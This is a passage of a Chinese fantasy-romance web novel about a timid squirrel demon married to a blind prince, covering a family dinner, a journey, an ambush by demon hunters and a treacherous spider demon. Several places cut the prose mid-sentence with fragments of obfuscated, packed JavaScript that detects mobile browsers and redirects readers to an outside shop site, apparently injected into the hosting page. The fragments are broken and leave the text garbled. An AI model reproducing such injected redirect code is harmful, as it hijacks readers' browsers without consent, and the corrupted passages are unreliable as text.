老爷子喜欢她,她们大房二房为了哄老爷子开心,都是使出吃奶的劲把裴千霜捧得高高的,硬是给她捧出了个不知天高地厚的性子。 幸灾乐祸的看着裴千霜出去闯祸,回来再装和事佬将裴千霜护着,两头都不得罪。 此举可进可退,裴千霜要是闯祸了那是自讨苦吃,要是过得好了还能念她们大房二房的好。 这不,现在嫁入了王府,不正是她们这些年殷勤奉承得到回报的时候? 裴老爷子走了,裴家现在又没有能顶事的男人,最拔尖的裴琅也只过了童试。 离了老爷子的荫蔽,裴家想要再现往日辉煌是个不可能的事。 但要是能让安王出面,给裴识安置个顶好的差事,说不定就能一带二,二带四的重新发展起来。 安王虽然名声不好,但他是皇族,是陛下的亲弟弟。 陛下重情,念及手足之谊,也不会驳了安王的面子。 裴千霜出嫁的时候,裴家就连夜召开了一次会议,商定了计划。 回门宴的时候大家分头行事,裴识和裴琅负责试探安王的底线,两位夫人则从裴千霜身上下手,里外夹击,务必让这个枕边风吹起来。 然而“裴千霜”的反应却在她们的意料之外。 在她们的畅想中,裴千霜应该非常骄傲的拍着胸脯应承下来,表明一定让舅舅飞黄腾达,重振裴家门风。 怎么现在看着……像是不大乐意? 两位舅母对视一眼,孟婉姿阅历多少高一些,率先询问:“霜儿,你这是怎么了?难道是安王欺负你不成?” “这怎么行!”周莲佯装生气,声音也高了不少:“他虽然是皇室,可你却是咱们裴家的掌上明珠,是老爷子的眼珠子!他若是欺负你,舅舅舅母都不会轻饶了他!” “没有没有……” 金敏赶紧摆手:“王爷他待我很好,没有欺负我,只是……” 一听这个,两个舅母心里有了底,赶紧趁热打铁。 “霜儿啊,要看男人对你好不好,可不能看他给你买了什么金贵的东西……那王爷他缺钱吗?不缺呀对不对?你要看他会不会善待你的家人,为你的娘家铺后路。” “是呀,你瞧你二姐夫,娶了你萱姐姐之后,给文哥儿业哥儿都安排了官职,这才是真真的为夫人着想的男人。” 两人一句一句的说得金敏头大,正不知所措时,一道清冷的声音传来。 “哦?我倒是不知道,那位二姐夫是何许人也,竟然仗着官职之力为己谋私?” 两位舅母一下子没了声,眼睛睁得大大的,惊恐的看向薛言辞背后脸色难看的裴识和裴琅。 很显然,这俩人在安王面前碰了一鼻子灰。 本来还想着裴千霜这里能有些进展,结果又被安王撞了个正着。 孟婉姿讷讷吞了吞口水,艰难开口:“王……王爷,您来多久了?” 薛言辞皮笑肉不笑的挑唇:“不久,舅舅舅母不会轻饶本王的时候来的。” 金敏仿佛看到了救星,赶紧跑过去躲在他身后。 她最怕有人追着她凑那么近的说话了,跟催命似的,嘴都快怼到她脸上了,偏偏又不能躲。 薛言辞余光瞥了一眼金敏的衣角,心底好像开花了一样,不自觉地就又挺了挺胸脯。 “王妃不懂这些,下次再有类似的事,舅舅直接同本王说便好。另外光禄寺卿的职位虽然空缺,但我朝有律例,四品以上职位须得过了院试,并在相应府衙任职五年以上才可委任。二位舅舅与其在本王这里下功夫,不如好好努努力,先过了院试再说。” 他这话不算推辞。 如今的皇帝、他的兄长薛燃是开明的皇帝,最恨官场上的裙带贪腐之风。 他继位的这些年严查官场腐败,清正官风,大乾因此才达到了强盛的巅峰。 薛言辞虽然平时不理朝政,但也最恨那些想要依靠关系上位的人。 这样的人多一个,真正有才学有实干的人才就会被埋没一个。 裴公为国效忠四十余年,薛燃不会忘记他的恩情,已经给予了裴家优待。 想要实权官职无可厚非,但一张口就是从三品光禄寺卿,恕他没有那么大的能耐。 裴公就算活着,也不会容忍儿子如此败坏自己一辈子的清正名声。 场面一下子冷了下来,薛言辞道了句“今日本王还有事,就带王妃先回了”,拉住金敏的手带她离开了这个是非之地。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101526|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 直到出了裴府大门,金敏才松了口气。 那一大家子给她的感觉实在压抑吓人,在王府也不是没被人围着过,但感觉就是不一样。 听着她们的话叫她无端萌生了一种“自己没良心”的错觉。 还好薛言辞来得快,再多耽搁一会儿,她都快要窒息了。 …… 日子一天天过得飞快,自从两人摊牌之后,关系似乎有了一段质的飞跃。 现在已经自然而然地同桌吃饭了。 金敏每天都变着法儿的尝试着治疗薛言辞的眼睛,奈何一直不见成效。 薛言辞对此很是好奇:“你怎么对本王的眼睛如此上心?” 金敏蔫蔫的答:“我想治好你的眼睛,然后我就可以走了。” 薛言辞神情一顿,到嘴边的实话莫名其妙收了回去,变成一声含糊的“嗯”。 纸黛和青砚被她带的积极性很高,捣药熬药忙前忙后。 金敏也总算记住了她们的名字,不再这位姑娘这位姑娘的叫。薛言辞看在眼中,心中欣慰。 总算有一点正常人的样子了。 难得遇到这种心性纯良的奇人,他还是想好好与之相处,最好能归拢在身边的。 这天吃过饭后,照例端上一盘松子糕。 这松子糕还是先前她偷偷去小厨房做过一次,或许是落下了些食材,第二天又被厨子重做了一份,再往后就成了每日的饭后甜点之一。 金敏揉揉圆滚滚的肚子,依旧没放过它,全装进乾坤袋准备回去藏起来。 她观察过了,薛言辞很少吃这些糕点,就算她不拿也会被撤下去丢掉,所以她拿走一点罪恶感都没有。 最近小厨房的菜也越来越合胃口,一道清炒笋能做出花样来,还有金粟佛衣煨冬菇、荷心蒸菱角,都是她以前不曾尝过的美味。 也不知道府上的厨子是何方神圣,居然能把一道道素菜做出这样的味道。 这伙食好得她都不太舍得走了。 她叹了口气,有些可惜的看了看自己的乾坤袋。 薛言辞敏锐的察觉到她的情绪变化,好奇地问:“怎么,今日的松子糕不好吃?” 他特意改良了做法,在里面加了一味莲子,难道她不喜欢? “不是。” 金敏摇摇头:“一想到以后就吃不到这些好吃的,就有点难过。” 薛言辞:“……” 他礼貌的笑了笑,转身气鼓鼓的出了门。 他都做到这种地步了,知道她不吃肉,每日餐食一半都换成了素菜,结果这女人还是心心念念要走? 简直可恶! 金敏回到飞星阁,照例给偿命放了些吃的,然后就坐在窗边发呆。 偿命犹豫良久,才靠近她,主动说了这些日子以来的第一句话。 “你怎么了?” “没事。”金敏托着下巴摇头,“王爷的眼睛一直治不好,我也不知道该怎么办。” 说完才意识到什么,惊喜的转头:“小人,你愿意跟我说话了?” 偿命:“……” 他似乎有点理解为什么有人在叫猫妖狗妖“小猫”“小狗”的时候会换来一个白眼了。 叫他“小人”确实怪怪的哈。 12. 第12章 金敏丝毫没觉得这么叫有什么问题。 她眼睛亮晶晶的看着面前男人,激动地问:“你都愿意同我说话了,是不是原谅我了?” “原谅?” 偿命眉头一皱,原谅什么? 难道是她斩断牵丝这件事? 他内心深处其实对于牵丝是没有什么感觉的,反正他生是不法天的人,死是不法天的鬼,有没有这东西的约束对他来说都一样。 但是看断魂的意思,似乎牵丝被斩断是一件好事。 那既然是好事,何来原谅不原谅之说? 偿命纠结片刻,迎上女子殷切的目光,还是模棱两可的说了句:“嗯。” “太好了!” 金敏高兴地差点跳起来,她雀跃的绕着偿命转了一圈,然后指尖在空中一划,笼罩在飞星阁外的结界就消失不见。 “那你走吧,你自由了。不过你既然说好原谅我,就不能反悔再去找道士来杀我!” 偿命:“……” 杀妖要找猎妖人才对,正巧他自己就是,犯得着去找道士? 再者说道士本来就不主张杀妖,已经逐渐没落。如今的道士除了玉清观那凤毛麟角的几个,其他大多是招摇撞骗的货色。 这女妖强的没边儿,用得着担心这个? 偿命张了张嘴,欲言又止,最后还是闭上嘴,转身默默的离开这个是非之地。 解决了一桩心事,金敏心情好了不少,接下来就差安王的眼睛了。 等治好安王的眼睛,她的欠债就清完了,就可以回她的深山老林秘密基地继续躲起来修炼。 …… 在安王府苟着的第二个月,金敏还是被迫以王妃的身份出门了。 这次出的还是远门。 大乾东南部的沧澜河历年水患频发,五年前薛燃下令修建沧澜堤以利民生。 耗费了五年的心力,终于将汹涌的沧澜水锁在长堤之下。 大坝马上竣工,紧跟着就是开坝祭水。 按照薛燃的一贯作风,此种功在千秋的工程落幕,万众瞩目的祭水仪式他是要御驾亲临的。 但最近西北边境又频发摩擦,他为此头痛不已,实在是脱不开身,便将此事交给了安王和王妃。 本来想让薛言律一起去的,怕兄妹俩路上打起来,想想还是算了。 李执微听说此事后,主动请命带人一路护送。 薛燃略犹豫了片刻,毕竟李执微对薛言辞还有些其他心思,此行安王妃也在,三人行难免尴尬。 但换个角度一想,李执微此人的品行他是了解的,有些事越是避嫌越说不清,倒不如迎头直上,于是便允了。 初三这日,安王的车队从京城启程,朝着东南边的奂州而去。 此次出行他没带多少随从,只带了玄笔丹墨在身旁伺侯,还有苍刀、银枪、碧剑和绯戟四个护卫。 这些名字都是他取的,婢女小厮叫笔墨纸砚,护卫就叫刀枪剑戟,好记。 当然这是明面上的,暗处的随行暗卫也不少,金敏能察觉到他们的位置,但是薛言辞不说她也装作不知道。 随着车队远离京城,进入青山绿水之间,外面也愈发的吵闹起来。 这里草木丰盛,动物也多,和京城中最繁华的街道没什么区别。 薛言辞不动声色的揉揉耳朵,安抚刚才经过鸟雀栖息地时被叽里哇喳震得发痛的耳膜。 太吵了,也不知道那些古树是怎么忍耐下来的。 坐在马车里,金敏掀开车帘往外看了看。 刀枪剑戟四护卫两两伴随在马车两边,队伍最前面那马背上挺拔有力的劲装女子,在人群中格外显眼。 “王爷。” 她缩回来,有些紧张的问:“我们这次要去多久啊?” 薛言辞估摸了一下距离,奂州距离京城差不多三百里的距离。他们马车不快,来回路上约莫十日左右,再加上祭水前的准备等等一些琐碎的事情,差不多得月余的时间。 “怎么,你有其他事情吗?”薛言辞问她。 “那倒没有……”金敏垂头抠手指。 薛言辞看着她蔫巴巴的脑袋,脑海中浮现出她在外人面前的局促样子,不由得提问:“你是不是不喜欢和人接触?” 金敏闷闷的点头。 确切地说,非必要的情况下,她不想和任何活物接触。 “为什么?” 金敏没说话。 薛言辞刚想继续追问,忽然想起她曾经说过“一旦产生了羁绊再离别会很痛苦”。 他思索片刻,从桌案上拿起茶壶给两只茶盏都添了些水。 “我六岁的时候,养过一只小狗。它很可爱,每天陪在我的身边,在我怀中撒娇。” 在那段黑暗又脆弱的日子里,这只小狗给了他许多心灵上的慰藉。在小狗面前,他可以忘记自己是个目盲之人的事实,不必面对旁人小心翼翼又带着怜悯的目光。 “我十七岁的时候,它已经很老了。有一天他像往常一样从狗洞钻出去,然后就再也没回来。所有人都不敢告诉我,但我就是知道,它死了。” 金敏放在膝头的手指慢慢蜷缩起来,面上浮现出一抹悲伤的神色。 “这种感觉我知道。”她抬起左手放在自己的心口,“这里很痛,像是有什么东西炸开,但又没办法肆意宣泄,憋在这里,让人喘不上气。” 薛言辞轻笑一声:“确实如此。不过若是再来一次,我还是会选择养育这只小狗。如果以后我遇见喜爱的小狗,亦会收养。” “金敏。”他认认真真的看向对面女子的眼眸,“人不能因为害怕失去,就拒绝所有的美好。有时候曾经拥有过,就是你最宝贵的经历。” 金敏抬眸对上他的视线,琥珀般的眸子轻轻颤动。 傍晚时分,队伍正好行至丰节驿,今夜他们就在此休整。 赶了一天的路,众随行护卫也都乏了,分批在大堂吃晚饭。 王爷王妃的房间在二楼,金敏站在门口,手里拿着一包松子糖,目光在下方人群中扫来扫去。 越过人头攒动的大堂,终于在某个角落看到了那个孤高的身影。 金敏长吸一口气,内心默念三遍“没关系李将军是好人”,然后扎着脑袋窜下楼,径直跑到李执微的桌子前。 “李将军!” 她语速很快,低着头像是着急完成任务一样的把松子糖往桌上一放:“这是我做的糖,请你尝尝。” 李执微刚咬了一口馒头,瞧着面前这个莫名其妙跑来送东西的女人,慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101527|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬起眉毛。 她质疑要护送安王,就是不放心安王身边这个有古怪的女人。 现在倒是主动送上门了? 她不动声色的放下筷子,拿起松子糖看了一眼:“没想到王妃居然还会做这些?” 得了回应,金敏才放松了些,说话也轻松了些:“我还会做松子糕,浆果酥,你想吃的话我可以给你做。” 李执微垂眸:“王妃金贵之躯,怎能因为臣下厨房?” 金敏噎了一下,脸上有些不知所措。 李执微看着她的样子,叹了口气,将糖收起来:“多谢王妃。” 然而金敏的正事还没做,她从怀里摸出一个用树叶做成的小手札,翻开两页,又拿了一支小指长短的炭笔,递在李执微面前。 “李将军,可以告诉我你的名字吗?” 她只听别人喊她李将军,至于名字她还真不知道。 李执微狐疑的瞧她一眼,目光落在那奇奇怪怪的、枯黄的树叶做成的手札上。 那手札看起来有些年头了,看起来像是梧桐叶,但是又很神奇的没有腐败,像是一张张树叶形状的纸。 要不是脉络尚在,她都要怀疑这本来就是纸了。 “喏。” 金敏把炭笔往她手边又推了推。 李执微思索片刻,还是拿起来,在手札上写下自己的名字。 反正她的名字不是秘密,就算不从她这里得到,也能从其他人那里打听来,没什么好隐瞒的。 这边一人写一人看,没人注意到楼上屋门口站着的身影。 薛言辞看着趴在桌边认真盯着李执微动笔的女子,嘴角轻轻扬起一抹弧度。 他从来都不信有人会因为某一句话而改变自己的一贯做法。 除非她本来就想这么做。 等到金敏如获至宝的捧着她的叶子手札回来,薛言辞趁她翻页的时候偷偷瞧了一眼。 那上面每一页都有名字和一些小字,因为时间久远,小字已经模糊看不清,但是名字还是很好分辨的。 比如“薛言辞”三个字,就在“李执微”的前一页。 再往前,还有“毛毛”“阿苹”“小跳”这种一看就很随意的名字。 薛言辞嘴角不自觉地翘起,他从来没觉得自己名字这么顺眼过。 …… 第二日天不亮,队伍就继续向着东南方前进。 今日他们要穿过巫牙山脉,行程很紧。 巫牙山脉延绵百里,是大乾境内最长最险的山脉。 保险起见,他们要在天黑之前穿过巫宁关隘,抵达下一个驿站。 山中天气本就阴晴不定,刚行至山脚,天空就聚起成片的乌云,黑压压的落在山顶,将山尖埋没其中。 途中金敏忽然感应到什么,掀开车帘,几乎伸出了半个身子,朝着车队最后方看过去。 薛言辞注意到她的异样,关切地问:“怎么了?” 这一路她就算是看风景,也不至于这么大的动作。 金敏顿了顿,又坐回原处:“王爷,后面好像有人跟着。” 薛言辞“嗯”了一声。 想必是天气境况不好,暗卫们离得近了。 能察觉到他的暗卫的动作,这丫头敏锐性很强嘛。 13. 第13章 随着“轰隆”的一声响,大雨倾盆而下。 众人只能在雨中加速往前赶。 雨幕中隐约可见前方有一座建筑,李执微斟酌片刻,命人快马过去查探,确定是一家规模还不小的酒肆,便决定先去避避雨。 马车在泥泞的山路上东倒西歪,车里物件被颠落一地,的茶水也洒的到处都是。 金敏悄悄用妖力护住了薛言辞,才让他看起来不那么狼狈。 到了近前,马车停下,玄笔撑着伞护送薛言辞先进去。 金敏站在马车上仰头看了看这座三层高的建筑,内心隐隐有些不安。 这里的气息很奇怪,让她觉得很不舒服,甚至有些抗拒进入。 眼见青砚淋着雨给她举伞,眼都要被雨水打的睁不开了,她也顾不得想那么多,赶紧跳下来,将青砚拉入伞下,两人紧贴着跑进去。 刚掀帘而入,一股混杂着酒气、肉香、汗味与烟火气的热浪扑面而来。 堂内人声鼎沸,几乎座无虚席。 金敏抚了抚心口压下心底的不适,瞧见薛言辞在等她,赶紧快步跑过去。 薛言辞看见她的动作,意有所指的问:“怎么这么慢,是发生什么了吗?” “没有。”金敏摇头,“可能是天气不好,胸口有点闷。” 在暴雨来临前、黑云压山的时候,她也偶有胸闷气短的现象,不过等雨下完就好了。 薛言辞“嗯”了一声,表示能理解。 见他们进来,酒肆小二殷勤的迎上来,笑容满面:“客官赶巧了,再晚一步,连站的地方都没了!这天说变就变,您先暖暖身子,要些什么?” 李执微拿出一锭银子:“借个躲雨的地方,不需要别的。” 小二欢天喜地的收了银子,在嘴里咬了一下,才堆笑着引薛言辞他们去空位坐下。 虽说客官说了什么都不要,可毕竟收了这么多银子,真不给上也不好看。 于是小二泡了热腾腾的茶叶过来,还给每桌都上了几份凉拌牛肉。 李执微朝小二客气一笑,手却捏着茶盏没有动。 金敏嗅了嗅那茶水,味道清甜,还冒着热气,刚想喝一口就被李执微一个眼神给挡回去了。 外面暴雨如瀑,屋内人声依旧。 金敏打了两个喷嚏,神情有些恍惚。 刚想着这雨怎么下这么久都不见小,一转头却发现所有人都趴在了桌上。 就连薛言辞也单手撑着脑袋,闭目不动。 金敏:??? 她噌的站起来,环视四周,还好他们只是睡着了不是死了。 “王爷?执微?” 她挨个推推同桌的两个人,没得到回应。 此时有什么东西从身后以肉眼不可及的速度朝她功来,带着破风的声音,直击她后背。 金敏猛然转身,一把抓住了那东西—— 是一根铁金色的绳索。 她瞧着有些眼熟,好像在哪见过,刚准备仔细瞅瞅,铁锁的另一头传来一声怒喝。 “大胆妖孽,竟敢在此作祟,今日我等就替天行道,诛杀妖邪!” 言语间已经有二十几个猎妖人从门窗涌进来,手持斩妖剑围成一个圆,将金敏困在正中。 金敏脑子里“轰”的一声,整个人都蒙了。 完啦,他们是道士! 是来杀她的! 见金敏愣神,那群人一手掐诀在长剑上快速一抹,长剑上红光乍现,齐齐朝她攻去。 金敏后知后觉的反应过来,尖叫一声就想抱头鼠窜。 奈何她太紧张,忘了自己手里还拽着那根最早攻击她的缚灵锁。双手往头顶一抱,缚灵锁的主人原地起飞,被甩出一个圆润的弧度,直直砸向对面的同伙。 两人叠了个罗汉,撞倒了一面墙,没动静了。 众人往前冲的趋势瞬间一顿,互相传递了个眼色,马上改变战略,后退一步变为用阵。 他们改换队形,分别占据八个方位,掐诀连阵。 红光自地面冲天而起,形成一个巨大的牢笼。 闭着眼装睡的薛言辞骤然睁开眼睛,就要起身阻拦。 “金敏!” 奈何身在其中的金敏仍在闭着眼横冲直撞,根本没听到他唤她的声音。 随着“砰砰砰”的响声,阵法形成的屏障这破一块儿那碎一块儿。 每被她撞出一个豁口,那个方位就有一两个猎妖人口喷鲜血的飞出去。 她撞到东西就拐弯,撞到东西就拐弯,像个弹球一样在阵法里乱弹,边弹边喊。 “救命——” “啊!”一个人飞了。 “救命啊!!!” “哇——”一个人倒地滑铲又铲倒两个。 “不要杀我啊!!” “唔噗——”一个人吐血三尺高。 场面一度非常混乱。 薛言辞嘴角抽搐两下,默默坐了回去。 飞到角落断了好几根肋骨的猎妖人颤巍巍的支起身子,朝着金敏直翻白眼。 该喊救命的应该是他们才对吧? 金敏一直不敢睁眼,也没注意到周围越来越安静,直到手腕忽然被人抓住,连带着她栽进一个怀里。 此人气息熟悉,正是薛言辞。 “好了,没事了。” 金敏愣住,慢慢地睁开眼,对上薛言辞的双眸。 薛言辞的眼睛像是有什么魔力一样,使她的心绪很快平和下来,呼吸也平缓了很多。 “王爷……” 她有点不知道该怎么解释,只能一皱小脸,指着身后委屈道:“王爷,他们想杀我……” 说着她转头一看,接下来的话马上就哽在喉间。 只见身后一群伤病残将,哎呦哎呦的互相搀扶着往外跑,有的还躺在地上生死不明。 “他们,他们这是……” 金敏微微睁大了眼睛,他们怎么先倒下了? 薛言辞无奈又好笑的揉了揉她的头顶,正准备说些什么,就被另一道疑惑的声音吸引了注意力。 “金敏姐姐?” 两人一齐朝声音传来的方向看去。 只见一个十六七岁的,面目清秀,斯斯文文的青衣少年站在门口,看向金敏的目光带着欣喜。 “金敏姐姐,是你吗?” 他跑过来,上下打量金敏一眼,完全不敢置信似的。 “真没想到,你也还活着!” 金敏有点懵,下意识看了薛言辞一眼,挠挠头:“我是金敏,但你是?” “姐姐不认识我了吗?我是千丝呀!” 金敏皱眉仔仔细细的把脑海中的记忆倒叙捋了一遍,她这些年认识的妖寥寥无几,挨个找也实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101528|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在没找到。 千丝有些失落,不死心的继续提醒:“镜眠大人点化我的时候,你也在的呀。” 金敏这才有了些印象。 结合她看到的千丝的真身——一只长脚蜘蛛,她大概知道了这妖是谁。 当年还在云外山修炼的时候,她就常常和阿苹一起远远地跟着镜眠。 镜眠每点化一只妖,她们就会热情的过去打招呼,欢迎它加入云外山。 镜眠似乎确实点化过一只长脚蜘蛛,赐名千丝。 “我记起你了。” 她笑起来,眼睛有些发红:“没想到云外山还有其他妖活着。” 她已经七百多年没有见到来自故乡的妖了。 “姐姐,我们重逢是好事,你怎么还哭了呢?”千丝抬手想要为她擦眼泪,奈何还没碰到,薛言辞就先递上了一方锦帕。 金敏顺势接了,把不争气的眼泪擦了擦,才颤声道:“我没事,我就是太高兴了。” 高兴的有点想哭。 此时那群手下败将已经趁他们不注意悄悄溜走,大堂中沉睡着的随从也纷纷醒过来。 千丝的目光不着痕迹的从薛言辞额头扫过,轻快的问:“姐姐这是要去哪里?” “奂州。”薛言辞替她答了,反问道:“这里如此偏僻,你为何会出现在这?” 荒郊野岭的,先是莫名其妙的大批猎妖人,再是蜘蛛妖,未免太巧合了些。 千丝笑道:“远远地就感应到这边有动静,害怕是同族遇难,就赶紧过来了。没成想姐姐这么厉害,都不需要我的帮忙。” 金敏尴尬一笑,连连摆手:“我很弱的,这次我也不知道为什么,他们就倒了。” “姐姐谦虚了。”千丝俨然不信,四周看了一圈,好奇地问:“阿苹姐姐呢?没有和你在一起吗?” 金敏脸上的表情一滞,没有说话。 不用她回答,只这个反应,千丝就知道是怎么回事,不由得叹了口气。 “那姐姐还有其他同伴的消息吗?” 金敏落寞的摇头:“只剩我自己了。” “哦……”千丝也垂下眸子,“那还真是可惜。” 暴雨慢慢停下,队伍也重新休整准备上路。 千丝说他这两日还有要事在身,待解决了所有事,就去京城安王府寻她。 金敏一步三回头的上了马车,眼里全是对老乡的不舍,再三嘱咐千丝一定要来。 千丝笑眯眯地朝她挥手:“放心,我一定去。” 等到马车消失不见,千丝才收了脸上的笑容,悠哉悠哉的转身。 刚才那群猎妖人一瘸一拐的走到他面前跪下:“墨主,属下无能,没能杀了那妖孽。” “无碍。”千丝那张人畜无害的娃娃脸上满是漠然。 他本就做了两手准备,这些猎妖人在围困金敏时,他一直在暗中观察,还顺手加强了阵法的威力。 最后得出的结论是,目前还杀不了这只松鼠妖。 既然杀不了,那就改走另一条路子。 反正这松鼠没脑子,加以利用说不定有意想不到的成效。 千丝嘴角微微挑起,淡淡吩咐:“既然她已经见过你们,那便留你们不得了。” 那群猎妖人面色一怔,还没反应过来墨主这话是什么意思,眼前白影一闪,脖颈处便齐齐绽开血花。 14. 第14章 奂州城不比京城,从一入城门开始,就能感受到萧条之色。 这里是沧澜河的下游拐点,百余年来频受水患侵扰,良田尽毁,许多百姓被迫背井离乡,去往其他城池讨生路。 他们到的早,沧澜堤还有几日才能完工,于是他们暂时在州府住下,待明日去参观修建现场。 李执微拿着奂州志看得直皱眉。 “这奂州真是多灾多难。”她叹了口气,“两百多年前,这里还是物产丰饶的地方。城中百业兴旺,百姓安居乐业。后来经过了一次蝗灾,良田遭受重创。好不容易缓过来些,又遇上沧澜河改道,这里就成了河水决堤最严重的地方。” 这奂州的过去,薛言辞也是头一次如此详细的了解。 他边听边唏嘘,余光看到金敏,却见她面上毫无惊讶之色,只是淡淡地看着窗外,不知在想什么。 “敏敏?” 他出言唤她。 金敏回过神来,看向薛言辞:“王爷在叫我?” 薛言辞摊手:“这里还有其他叫这个名字的吗?” 李执微的目光从薛言辞转到金敏,眼神微动。 王妃这是给王爷摊牌了? 所以她们已经到了坦诚相待的那一步了? 心中微微有些酸涩,隐约有一种“原来是我自作多情”的自嘲之感。 还说要和她做朋友?连真实姓名都不肯告知。 她本来就是因为担心王妃身份有疑,可能会对王爷不利才自请跟着的。 现在显然王爷已经知道王妃的来历,这屋里只有她是外人,确实是多余了。 于是她沉默的站起来,独自回了屋。 第二日她们在知州的带领下,参观了正在收尾阶段的沧澜堤,晚上则在奂州最好的酒楼用膳。 金敏端着王妃的架子被迫应酬一整天早已疲惫不堪,现在是一个活人都不想看见,桌上的饭菜也没那么好吃了。 薛言辞见她蔫巴巴的,瞅了个时机随口说了句王妃身体不好,知州大人赶紧派人先送王妃回去。 终于回了屋,她让纸黛和青砚都各自去休息后,关上门化成一滩水摊开到了地上。 如果此时她是原型的话,已经是鼠饼了。 早知道要见这么多人,要说这么多话,她说什么都要留在王府,绝对不来。 李执微今日也不怎么同她说话,离她们两人很远,不知是怎么了。 趴在地上歇了好一会儿,她才觉得恢复了些精神,梦游似的爬起来摊到床上。 良久,她一歪头,看向窗户外的某处。 “小人,你都跟了我一路了,到底想做什么啊?” 窗户外,偿命有些尴尬的落地,站在外面问:“你什么时候发现我的?” 金敏诚实道:“到巫牙山的时候。” 她合理怀疑在酒肆遇到的来杀她的那群道士都是这个小人请来的。 那群道士用的绳索,跟小人用的差不多。 之前小人还用这绳索套她来着。 金敏脸上一贯藏不住事,偿命几乎是瞬间就反应过来,自己是背了个锅。 在酒肆试图杀金敏的那些人,他确实知道来历。 他们都是不法天的人。 不法天内部分为刈生和破妄两部,刈生专司杀人,破妄擒妖杀妖。 出现在酒肆的人,都是来自破妄部的。 偿命想了想,这女妖实力很强,不要得罪为好,还是决定澄清一下:“那些人不是我叫来的。” 确切地说,他没有刻意来找金敏,而是在京城附近发现了不法天活动的痕迹,心生好奇,跟着不法天的人过来的。 到了这里才发现不法天行动针对的对象居然是安王妃。 金敏没说话,但眼神里就是赤裸裸的怀疑。 “那些人的实力都不如我,我何苦找一群没我强的来杀你?” 说完他忽然想起什么,脸色一顿。 破妄部出动这么多人,甚至墨主都出现了,就是为了剿杀安王妃。 为什么会有这么大的动静? 是断魂! 他曾告诉断魂安王妃是很强的妖,不能轻举妄动! 看来是断魂回去复命,引起了墨主的注意,这才有了酒肆剿杀这一茬。 这么算来的话……那些人似乎也算作是他招来的? 金敏没注意到他神情的变化。 她恍然大悟,脑子好像一下子平滑了:“原是这样,我就说你看起来不像是言而无信的人。” 偿命没忍住抽了抽嘴角。 罢了,她爱怎么认为怎么认为吧,反正他也要走了。 虽然不知道接下来该去哪。 他六岁就进了不法天,那里是他的全部。 他已经习惯了事事听从命令,每时每刻都有按部就班的安排和严格的纪律。 骤然失去了主心骨,他整个人都陷入了一种巨大的、对于前路的迷茫中。 断魂说,让他去看看明镜海。 他不明白那有什么好看的。 断魂还说那里的贝壳很漂亮。 可是他对贝壳不感兴趣。 常年养出来的强大的惯性让他在看到疑似不法天的动静时都要赶紧跟上,即使不知道跟过来能做什么。 偿命内心满是矛盾,脑子里也乱糟糟的,烦躁的转身准备走。 “等一下!” 屋里传来女子的挽留之声。 偿命脚步一顿,不自觉地就停下来。 待他转身,金敏已经到了窗边,和他隔着窗棂说话。 “我还不知道你的名字。”金敏拿出她的树叶手札晃了晃,“你可以告诉我吗?” 偿命抿了抿唇,本不欲多说。 但是又想到他已经离开了不法天,那告诉旁人应该也无妨。 “偿命。” 他语速很快,他见过人和妖听到这名字时的恐惧神色,知道这不是什么好名字。 “长……命。” 金敏慢慢复述一遍,忽然笑弯了眼:“长命百岁,福寿安康,是个好名字。” 她打开手札,在上面一笔一画的写出“长命”两个字。 她知道人类给幼崽起名都是有美好的寓意的,所以这个读音除了“长命百岁”不作他想。 此时夜色尚未完全降临,晚霞染红半边天际。 一阵风刮起,不知哪里的风铃发出“叮”的一声响。 偿命如梦初醒般回过神,看到窗边的少女在手札崭新的一页上写好名字,朝他举起来。 “我的字没有写错吧?”她有些不太确定,她太久没有写字了。 偿命盯着那两个字看了许久。 长命百岁,福寿安康吗? 他胸口长长的起伏了两次,嘴唇嗫嚅片刻,最终发出一声模棱两可的“嗯”。 写错了。 就当是他离开不法天后的新名字。 “我叫金敏,现在我们应该算作朋友了吧。” 少女合起手札收回乾坤袋,眼睛亮晶晶的。 长命看着她的眼睛,鬼使神差的点了点头:“嗯。” …… 沧澜堤建成,万众瞩目的祭水仪式在江边那棵千年古树下进行。 金敏穿着黑金色的祭服站在薛言辞身后,或许是经过前几日的热情“摧残”,她现在看到人群已经有些麻木了。 此时她的目光正落在那棵参天大树上。 如果说刚到奂州时,她只是觉得此处的灵气非常熟悉。那么现在看到这棵古树,她就完全确认了一件事。 她来过这里的。 算算时间,已经过去快两百年了。 人间景色十几年一个轮换,两百年足够这里翻天覆地十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 